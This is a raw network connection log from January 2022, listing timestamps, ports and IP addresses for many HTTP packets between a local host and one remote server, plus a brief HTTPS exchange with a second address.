Jan 14, 2022 02:04:18.202539921 CET	49754	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:18.202559948 CET	80	49754	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:18.202569962 CET	49754	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:18.202580929 CET	80	49754	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:18.202601910 CET	80	49754	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:18.202615976 CET	49754	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:18.202622890 CET	80	49754	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:18.202646017 CET	80	49754	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:18.202665091 CET	80	49754	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:18.202672005 CET	49754	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:18.202687979 CET	80	49754	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:18.202706099 CET	49754	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:18.202709913 CET	80	49754	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:18.202730894 CET	80	49754	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:18.202749968 CET	80	49754	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:18.202759027 CET	49754	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:18.202771902 CET	80	49754	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:18.202790976 CET	49754	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:18.202791929 CET	80	49754	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:18.202814102 CET	80	49754	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:18.202833891 CET	80	49754	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:18.202848911 CET	49754	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:18.202852011 CET	80	49754	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:18.202873945 CET	80	49754	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:18.202881098 CET	49754	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:18.202893972 CET	80	49754	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:18.202914953 CET	80	49754	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:18.202914953 CET	49754	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:18.202934980 CET	80	49754	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:18.202948093 CET	49754	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:18.202954054 CET	80	49754	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:18.202999115 CET	49754	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:18.255007982 CET	80	49754	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:18.255040884 CET	80	49754	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:18.255062103 CET	80	49754	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:18.255083084 CET	80	49754	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:18.255104065 CET	80	49754	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:18.255115986 CET	49754	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:18.255125999 CET	80	49754	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:18.255145073 CET	49754	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:18.255153894 CET	80	49754	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:18.255167007 CET	49754	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:18.255176067 CET	80	49754	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:18.255196095 CET	80	49754	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:18.255212069 CET	49754	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:18.255217075 CET	80	49754	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:18.255238056 CET	80	49754	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:18.255275011 CET	49754	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:18.255315065 CET	80	49754	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:18.255348921 CET	80	49754	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:18.255361080 CET	49754	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:18.255369902 CET	80	49754	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:18.255390882 CET	80	49754	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:18.255410910 CET	80	49754	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:18.255429029 CET	49754	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:18.255431890 CET	80	49754	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:18.255454063 CET	80	49754	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:18.255460978 CET	49754	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:18.255475998 CET	80	49754	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:18.255489111 CET	49754	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:18.255496025 CET	80	49754	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:18.255517006 CET	80	49754	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:18.255537033 CET	80	49754	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:18.255543947 CET	49754	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:18.255559921 CET	80	49754	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:18.255572081 CET	49754	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:18.255579948 CET	80	49754	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:18.255599976 CET	80	49754	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:18.255619049 CET	80	49754	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:18.255635977 CET	49754	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:18.255640030 CET	80	49754	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:18.255661011 CET	80	49754	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:18.255670071 CET	49754	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:18.255681992 CET	80	49754	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:18.255700111 CET	49754	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:18.255705118 CET	80	49754	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:18.255727053 CET	80	49754	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:18.255747080 CET	80	49754	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:18.255758047 CET	49754	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:18.255767107 CET	80	49754	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:18.255788088 CET	49754	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:18.255788088 CET	80	49754	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:18.255810022 CET	80	49754	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:18.255830050 CET	80	49754	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:18.255848885 CET	49754	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:18.255850077 CET	80	49754	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:18.255872011 CET	80	49754	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:18.255881071 CET	49754	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:18.255892992 CET	80	49754	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:18.255913019 CET	80	49754	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:18.255914927 CET	49754	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:18.255934954 CET	80	49754	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:18.255955935 CET	80	49754	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:18.255965948 CET	49754	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:18.255976915 CET	80	49754	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:18.255996943 CET	80	49754	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:18.255997896 CET	49754	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:18.256020069 CET	80	49754	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:18.256041050 CET	80	49754	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:18.256061077 CET	80	49754	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:18.256064892 CET	49754	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:18.256083012 CET	80	49754	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:18.256100893 CET	49754	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:18.256105900 CET	80	49754	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:18.256119013 CET	49754	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:18.256127119 CET	80	49754	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:18.256146908 CET	80	49754	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:18.256165981 CET	80	49754	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:18.256170034 CET	49754	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:18.256187916 CET	80	49754	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:18.256207943 CET	80	49754	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:18.256211042 CET	49754	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:18.256228924 CET	80	49754	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:18.256248951 CET	80	49754	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:18.256251097 CET	49754	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:18.256269932 CET	80	49754	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:18.256290913 CET	80	49754	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:18.256310940 CET	49754	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:18.256310940 CET	80	49754	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:18.256333113 CET	80	49754	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:18.256340981 CET	49754	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:18.256386042 CET	49754	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:18.256552935 CET	49754	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:18.309422016 CET	80	49754	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:19.771653891 CET	49755	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:19.822364092 CET	80	49755	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:19.822463036 CET	49755	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:19.822593927 CET	49755	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:19.822627068 CET	49755	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:19.873845100 CET	80	49755	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:19.902633905 CET	80	49755	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:19.902657986 CET	80	49755	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:19.902796984 CET	49755	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:19.903119087 CET	49755	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:19.931845903 CET	49756	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:19.953517914 CET	80	49755	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:19.984169960 CET	80	49756	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:19.984283924 CET	49756	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:19.984380960 CET	49756	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:19.984400988 CET	49756	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:20.036092997 CET	80	49756	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:20.065668106 CET	80	49756	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:20.065689087 CET	80	49756	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:20.065761089 CET	49756	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:20.065998077 CET	49756	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:20.097780943 CET	49757	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:20.117655993 CET	80	49756	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:20.150423050 CET	80	49757	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:20.150547028 CET	49757	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:20.150649071 CET	49757	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:20.150662899 CET	49757	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:20.201464891 CET	80	49757	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:20.235852003 CET	80	49757	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:20.235946894 CET	49757	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:20.242388010 CET	49757	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:20.250854969 CET	49758	443	192.168.2.3	185.233.81.115
Jan 14, 2022 02:04:20.250895023 CET	443	49758	185.233.81.115	192.168.2.3
Jan 14, 2022 02:04:20.250962019 CET	49758	443	192.168.2.3	185.233.81.115
Jan 14, 2022 02:04:20.251979113 CET	49758	443	192.168.2.3	185.233.81.115
Jan 14, 2022 02:04:20.252002954 CET	443	49758	185.233.81.115	192.168.2.3
Jan 14, 2022 02:04:20.293272018 CET	80	49757	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:20.314630985 CET	443	49758	185.233.81.115	192.168.2.3
Jan 14, 2022 02:04:20.314758062 CET	49758	443	192.168.2.3	185.233.81.115
Jan 14, 2022 02:04:20.317359924 CET	49758	443	192.168.2.3	185.233.81.115
Jan 14, 2022 02:04:20.317382097 CET	443	49758	185.233.81.115	192.168.2.3
Jan 14, 2022 02:04:20.317668915 CET	443	49758	185.233.81.115	192.168.2.3
Jan 14, 2022 02:04:20.340317011 CET	49758	443	192.168.2.3	185.233.81.115
Jan 14, 2022 02:04:20.358041048 CET	443	49758	185.233.81.115	192.168.2.3
Jan 14, 2022 02:04:20.358119011 CET	443	49758	185.233.81.115	192.168.2.3
Jan 14, 2022 02:04:20.358186960 CET	49758	443	192.168.2.3	185.233.81.115
Jan 14, 2022 02:04:20.358454943 CET	49758	443	192.168.2.3	185.233.81.115
Jan 14, 2022 02:04:20.358473063 CET	443	49758	185.233.81.115	192.168.2.3
Jan 14, 2022 02:04:20.437550068 CET	49759	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:20.488219976 CET	80	49759	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:20.488312006 CET	49759	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:20.488576889 CET	49759	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:20.488589048 CET	49759	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:20.538909912 CET	80	49759	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:20.568919897 CET	80	49759	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:20.568941116 CET	80	49759	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:20.569040060 CET	49759	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:20.569262028 CET	49759	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:20.620162010 CET	80	49759	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:20.875241041 CET	49760	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:20.930347919 CET	80	49760	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:20.930509090 CET	49760	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:20.930650949 CET	49760	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:20.991712093 CET	80	49760	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:20.991738081 CET	80	49760	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:20.991763115 CET	80	49760	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:20.991822958 CET	49760	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:20.991851091 CET	80	49760	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:20.991874933 CET	80	49760	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:20.991894960 CET	80	49760	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:20.991902113 CET	49760	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:20.991940975 CET	49760	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:20.992264986 CET	80	49760	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:20.992288113 CET	80	49760	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:20.992310047 CET	80	49760	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:20.992331028 CET	80	49760	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:20.992350101 CET	49760	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:20.992460966 CET	49760	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:21.044059992 CET	80	49760	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:21.044095039 CET	80	49760	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:21.044118881 CET	80	49760	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:21.044140100 CET	80	49760	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:21.044152021 CET	49760	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:21.044161081 CET	80	49760	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:21.044184923 CET	49760	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:21.044184923 CET	80	49760	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:21.044208050 CET	80	49760	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:21.044228077 CET	80	49760	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:21.044234037 CET	49760	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:21.044250011 CET	80	49760	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:21.044271946 CET	80	49760	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:21.044277906 CET	49760	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:21.044292927 CET	80	49760	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:21.044312954 CET	49760	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:21.044313908 CET	80	49760	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:21.044336081 CET	80	49760	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:21.044356108 CET	80	49760	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:21.044363976 CET	49760	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:21.044375896 CET	80	49760	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:21.044394016 CET	49760	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:21.044395924 CET	80	49760	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:21.044418097 CET	80	49760	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:21.044436932 CET	80	49760	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:21.044444084 CET	49760	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:21.044457912 CET	80	49760	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:21.044480085 CET	80	49760	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:21.044481993 CET	49760	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:21.044518948 CET	49760	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:21.096682072 CET	80	49760	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:21.096709013 CET	80	49760	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:21.096734047 CET	80	49760	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:21.096755028 CET	80	49760	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:21.096776009 CET	80	49760	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:21.096782923 CET	49760	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:21.096797943 CET	80	49760	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:21.096820116 CET	80	49760	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:21.096831083 CET	49760	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:21.096841097 CET	80	49760	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:21.096858025 CET	49760	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:21.096862078 CET	80	49760	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:21.096883059 CET	49760	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:21.096884966 CET	80	49760	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:21.096908092 CET	80	49760	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:21.096921921 CET	49760	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:21.096930027 CET	80	49760	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:21.096951008 CET	80	49760	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:21.096971989 CET	80	49760	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:21.096978903 CET	49760	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:21.096992970 CET	80	49760	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:21.097012043 CET	49760	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:21.097014904 CET	80	49760	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:21.097034931 CET	80	49760	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:21.097048044 CET	49760	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:21.097054958 CET	80	49760	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:21.097074986 CET	80	49760	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:21.097095013 CET	80	49760	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:21.097112894 CET	80	49760	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:21.097114086 CET	49760	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:21.097136021 CET	80	49760	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:21.097136021 CET	49760	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:21.097157001 CET	80	49760	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:21.097177029 CET	80	49760	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:21.097178936 CET	49760	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:21.097198009 CET	80	49760	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:21.097218037 CET	80	49760	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:21.097220898 CET	49760	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:21.097239971 CET	80	49760	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:21.097259045 CET	80	49760	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:21.097260952 CET	49760	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:21.097280025 CET	80	49760	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:21.097300053 CET	80	49760	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:21.097306967 CET	49760	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:21.097321987 CET	80	49760	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:21.097335100 CET	49760	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:21.097343922 CET	80	49760	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:21.097363949 CET	80	49760	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:21.097384930 CET	80	49760	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:21.097403049 CET	80	49760	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:21.097404957 CET	49760	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:21.097424030 CET	80	49760	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:21.097443104 CET	80	49760	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:21.097450018 CET	49760	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:21.097465038 CET	80	49760	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:21.097472906 CET	49760	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:21.097485065 CET	80	49760	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:21.097503901 CET	80	49760	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:21.097511053 CET	49760	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:21.097548962 CET	49760	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:21.149663925 CET	80	49760	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:21.149689913 CET	80	49760	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:21.149718046 CET	80	49760	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:21.149739981 CET	80	49760	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:21.149760962 CET	80	49760	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:21.149782896 CET	80	49760	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:21.149791956 CET	49760	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:21.149805069 CET	80	49760	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:21.149827957 CET	80	49760	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:21.149878025 CET	49760	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:21.149878979 CET	80	49760	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:21.149887085 CET	49760	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:21.149904013 CET	80	49760	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:21.149924994 CET	80	49760	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:21.149940014 CET	80	49760	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:21.149943113 CET	49760	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:21.149966002 CET	80	49760	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:21.149985075 CET	49760	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:21.149987936 CET	80	49760	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:21.150010109 CET	80	49760	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:21.150027990 CET	49760	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:21.150032043 CET	80	49760	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:21.150053978 CET	80	49760	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:21.150072098 CET	49760	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:21.150075912 CET	80	49760	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:21.150099039 CET	80	49760	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:21.150115967 CET	49760	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:21.150119066 CET	80	49760	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:21.150141001 CET	80	49760	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:21.150158882 CET	49760	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:21.150161982 CET	80	49760	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:21.150183916 CET	80	49760	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:21.150203943 CET	80	49760	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:21.150204897 CET	49760	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:21.150224924 CET	80	49760	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:21.150250912 CET	80	49760	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:21.150243998 CET	49760	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:21.150273085 CET	80	49760	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:21.150290966 CET	49760	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:21.150293112 CET	80	49760	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:21.150315046 CET	80	49760	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:21.150333881 CET	80	49760	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:21.150341034 CET	49760	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:21.150353909 CET	80	49760	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:21.150373936 CET	80	49760	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:21.150382042 CET	49760	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:21.150393009 CET	80	49760	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:21.150412083 CET	80	49760	93.189.42.167	192.168.2.3
